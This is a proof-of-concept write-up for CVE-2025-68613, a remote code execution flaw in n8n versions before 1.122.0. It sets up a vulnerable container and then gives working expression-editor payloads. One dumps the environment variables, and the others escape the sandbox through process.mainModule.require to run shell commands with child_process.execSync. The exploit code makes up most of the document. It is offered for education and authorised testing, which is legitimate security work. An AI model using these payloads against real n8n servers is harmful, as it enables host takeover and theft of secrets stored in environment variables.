
POC for CVE-2025-68613
Educational Purposes Only This Proof of Concept demonstrates a critical vulnerability (CVE-2025-68613) in n8n. Do not use this on systems you do not own or have explicit permission to test.
n8n versions prior to 1.122.0 contain a Remote Code Execution (RCE) vulnerability. Authenticated users can bypass the expression sandbox and execute arbitrary code on the host system via specific JavaScript payloads in the workflow expression editor.
Create a data volume and run a vulnerable version of n8n (e.g., v1.120.0).
# Create volume for persistence
docker volume create n8n_data
# Run vulnerable n8n instance
docker run -it --rm \
--name n8n \
-p 5678:5678 \
-v n8n_data:/home/node/.n8n \
n8nio/n8n:1.120.0
Navigate to http://localhost:5678 and complete the initial setup if needed.

Click "Add Workflow" to start a blank workflow.

Add a Set node to the workflow. This node allows us to define values that can be evaluated as expressions.

In the Set node, modify a parameter (e.g., value) and change the input type to Expression.

Enter the following payloads into the expression editor to demonstrate the vulnerability.
This payload accesses this.process.env to leak sensitive environment variables from the container.
Payload:
{{ (function() {
return JSON.stringify(this.process.env, null, 2);
})() }}
Result:

This payload bypasses the sandbox by accessing process.mainModule.require to load the child_process module, allowing execution of arbitrary system commands.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('whoami').toString();
})() }}

Result: Verifies the user context of the running process.
Demonstrates the ability to browse the file system.
Payload:
{{ (function() {
const require = this.process.mainModule.require;
const { execSync } = require('child_process');
return execSync('ls -la /').toString();
})() }}
Result:
